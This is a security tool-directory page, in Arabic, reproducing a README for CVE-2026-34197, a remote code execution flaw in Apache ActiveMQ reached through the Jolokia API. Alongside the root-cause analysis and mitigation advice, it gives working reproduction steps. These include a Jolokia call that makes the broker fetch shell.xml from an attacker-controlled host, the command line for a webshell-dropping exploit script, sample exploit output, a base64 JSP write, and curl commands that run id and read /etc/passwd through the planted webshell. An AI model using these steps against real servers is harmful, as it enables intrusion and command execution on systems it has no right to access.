Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-34197 — تحليل ثغرة Apache ActiveMQ RCE عبر Jolokia وملاحظات إعادة الإنتاج | Kitploit
أدوات/GitHubGitHub/asdasddqwdq29-a11y/cve-2026-34197
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأداة الوصول عن بعد
GitHubasdasddqwdq29-a11y/cve-2026-34197

CVE-2026-34197

تحليل ثغرة Apache ActiveMQ RCE عبر Jolokia وملاحظات إعادة الإنتاج

عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-34197 - ثغرة RCE في Apache ActiveMQ عبر Jolokia

1. نظرة عامة

البندالتفاصيل
CVE IDCVE-2026-34197
CVSS8.8 (HIGH)
نوع الثغرةتنفيذ التعليمات البرمجية عن بُعد (RCE)
CWECWE-20 التحقق غير السليم من الإدخال / CWE-94 حقن التعليمات البرمجية
المكوّن المتأثرApache ActiveMQ Classic - جسر Jolokia JMX-HTTP
الإصدارات المتأثرة< 5.19.4 ومن 6.0.0 حتى 6.2.2
الإصدارات المُصحَّحة5.19.4 / 6.2.3
تاريخ الإفصاح2026-04-07
المصادقةمطلوبة افتراضيًا، وعادةً ما تكون admin:admin. قد تكون الإصدارات من 6.0.0 إلى 6.1.1 قابلة للوصول دون مصادقة عند دمجها مع CVE-2024-32114.
الاكتشافتم الإبلاغ عنه كبحث بمساعدة الذكاء الاصطناعي بواسطة Anthropic Claude، بعد أن ظلت الثغرة قائمة لنحو 13 عامًا.

2. السبب الجذري

2.1 سلسلة الهجوم

root@kitploit:~
Attacker
  |
  |-- 1. POST /api/jolokia/
  |      Invoke BrokerService.addNetworkConnector(String)
  |      Argument: static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/shell.xml)
  |
  v
ActiveMQ Broker
  |
  |-- 2. Parses the URI. Because vm://evil does not exist, ActiveMQ tries to create a broker dynamically.
  |      brokerConfig=xbean:http://ATTACKER:PORT/shell.xml
  |
  |-- 3. The xbean: protocol fetches a remote Spring XML file over HTTP.
  |
  |-- 4. ResourceXmlApplicationContext parses the XML and instantiates a ProcessBuilder bean.
  |      The init-method="start" command runs before configuration validation blocks the URI.
  |
  `-- 5. Remote code execution is reached.

2.2 الشروط الأساسية

  1. كشف واجهة برمجة Jolokia - تعرض وحدة تحكم ActiveMQ على الويب مسار /api/jolokia/، مما يوفر وصولاً إلى JMX عبر HTTP.
  2. قائمة السماح الواسعة لـ MBean - أدخل إصلاح CVE-2022-41678 قائمة سماح تسمح بعمليات org.apache.activemq:* واسعة النطاق، بما في ذلك addNetworkConnector.
  3. التكوين البعيد لناقل VM - يمكن لمعلمة brokerConfig في ناقل vm:// الإشارة إلى ملف XML بعيد خاص بـ Spring، ويتم إنشاء bean قبل رفض التكوين.

2.3 سلوك الإصلاح

أضاف ActiveMQ 6.2.3 تحققًا داخل addNetworkConnector() لرفض URIs ناقل vm://:

root@kitploit:~
"error": "VM scheme is not allowed"

3. إعادة الإنتاج

3.1 البيئة

البندالتفاصيل
مضيف المهاجمmacOS مع OrbStack Docker
الصورة المستهدفةalfresco/alfresco-activemq:6.2.1-jre17-rockylinux8 (ActiveMQ 6.2.1)
مستخدم التشغيلamq (uid=33031)
نظام التشغيل الأساسيRocky Linux 8.9

3.2 الخطوات

الخطوة 1: تشغيل بيئة المختبر

root@kitploit:~
cd upstream-poc
docker compose up -d

الخطوة 2: التحقق من واجهة برمجة Jolokia

root@kitploit:~
curl -u admin:admin -H "Origin: http://localhost:8161" \
  http://localhost:8161/api/jolokia/

تؤكد استجابة status: 200 أن Jolokia يمكن الوصول إليها.

الخطوة 3: تشغيل الاستغلال وكتابة ويب شيل

root@kitploit:~
python3 exploit_webshell.py \
  -t http://localhost:8161 \
  --lhost <YOUR_IP> \
  --lport 9999

ينفذ البرنامج النصي الإجراءات التالية:

  1. يتحقق من واجهة برمجة Jolokia.
  2. يكتشف اسم الوسيط (broker).
  3. يزيل NetworkConnector موجودًا باسم NC لجعل الاختبار المتكرر موثوقًا.
  4. يشغّل خادم HTTP محليًا يقدّم حمولة XML خبيثة خاصة بـ Spring. يتم تضمين ويب شيل JSP بصيغة base64، لذا يحتاج الهدف إلى جلب XML مرة واحدة فقط.
  5. يرسل طلب addNetworkConnector لتفعيل مسار التعليمات البرمجية القابل للاستغلال.
  6. يتحقق من نجاح كتابة الويب شيل.

الخطوة 4: استخدام الويب شيل

root@kitploit:~
curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)

curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=cat+/etc/passwd"

3.3 مخرجات نموذجية

root@kitploit:~
===============================================================
  CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
  ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
  Target fetches one XML payload; JSP is written from inline base64
===============================================================

[*] Generated random webshell filename: ndkjwpqe.jsp
[*] Step 1/5: Checking Jolokia API...
[+] Jolokia accessible - status 200
[*] Step 2/5: Discovering broker name...
[!] Using default broker name: localhost
[*] Step 3/5: Cleaning up old NetworkConnector...
[*] Step 4/5: Trying webapps path: /opt/activemq/webapps/admin
[+] Payload server on :9999 (shell.xml with inline base64 webshell)
[+] Target fetched shell.xml from 192.168.3.107
[+] Jolokia returned 200 - exploit triggered
[*] Waiting for target to execute payload...
[+] Target fetched shell.xml from 192.168.3.107
[*] Step 5/5: Verifying webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<command>
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================

4. مقارنة الإصدارات

5. ملاحظات الاستغلال والقيود

5.1 الاستغلال المتكرر

يسجّل addNetworkConnector() موصلًا باسم NC. يفشل التسجيل الثاني بسبب تعارض في تسمية JMX ويعيد خطأ 500. يتعامل البرنامج النصي مع ذلك باستدعاء removeNetworkConnector("NC") قبل تفعيل الاستغلال.

5.2 كتابة الويب شيل

يستخدم ActiveMQ خادم Jetty مضمّنًا، لكن دليل webapps موجود على القرص ويقوم محرك JSP بتجميع ملفات .jsp المكتوبة حديثًا. هذا يجعل كتابة الويب شيل ممكنة في البيئة المختبرة.

تكتب الحمولة ملف JSP باستخدام base64 مضمّن:

root@kitploit:~
echo <BASE64_ENCODED_JSP> | base64 -d > /opt/activemq/webapps/admin/<random>.jsp

المزايا:

  • يتجنب مشكلات تحليل XML الناتجة عن الأحرف الخاصة في JSP مثل < و> و% و".
  • يتجنب طلبًا صادرًا ثانيًا من الهدف لتنزيل JSP. يجلب الهدف حمولة XML فقط.

5.3 متطلب الشبكة الصادرة

يجب أن يتمكن الهدف من الوصول إلى خادم HTTP الذي يتحكم فيه المهاجم لجلب حمولة Spring XML. إذا لم يكن لدى الهدف مسار صادر إلى المهاجم، فلا يمكن إكمال مسار الاستغلال هذا.

5.4 فحص Origin في Jolokia

قد تعيد طلبات Jolokia المباشرة خطأ 403 بسبب فحوصات CORS. أدرج ترويسة Origin مطابقة للهدف:

root@kitploit:~
Origin: http://TARGET:8161

6. الملفات

root@kitploit:~
CVE-2026-34197/
|-- README.md                    # This report
|-- exploit_webshell.py          # One-shot webshell writer with inline base64 and random JSP filename
`-- upstream-poc/                # File copy from dinosn/CVE-2026-34197
    |-- docker-compose.yml       # Lab environment for ActiveMQ 6.2.1
    |-- exploit_poc.py           # Original PoC script with serve/exploit/auto modes
    `-- serve_payload.py         # Simple payload HTTP server

مقارنة البرامج النصية

البرنامج النصيالغرضمتطلب الاتصال الصادرالويب شيل
exploit_poc.pyPoC أصلي لاستغلال RCE أعمى ينفذ أمرًا عشوائيًامطلوبلا

7. التخفيف

  1. الترقية - قم بالترقية إلى ActiveMQ Classic 5.19.4+ أو 6.2.3+.
  2. تقييد الوصول إلى Jolokia - حدد الوصول إلى المنفذ 8161 باستخدام قواعد جدار الحماية أو سياسة الشبكة.
  3. تعطيل Jolokia - إذا لم تكن الإدارة عن بُعد عبر JMX مطلوبة، فعطّل واجهة برمجة Jolokia في jetty.xml.
  4. تغيير بيانات الاعتماد الافتراضية - استبدل بيانات الاعتماد الافتراضية admin:admin.
  5. تقييد الوصول الصادر - امنع ActiveMQ من الوصول إلى موارد HTTP خارجية غير موثوقة.

8. المراجع

  • إفصاح Horizon3.ai: https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
  • نشرة أمان Apache: https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
  • مستودع PoC الأصلي: https://github.com/dinosn/CVE-2026-34197
تنزيل الأداة
الإصدارالصورةاستجابة JolokiaRCE
5.18.6apache/activemq-classic:5.18.6status: 200, value: NCنجح بصلاحيات uid=0(root)
6.2.1alfresco/alfresco-activemq:6.2.1status: 200, value: NCنجح بصلاحيات uid=33031(amq)
6.2.3alfresco/alfresco-activemq:6.2error: VM scheme is not allowedتم الإصلاح
exploit_webshell.pyRCE انعكاسي لمرة واحدة عبر ويب شيل JSP مكتوبمطلوب فقط لجلب XMLيُكتب تلقائيًا باسم ملف عشوائي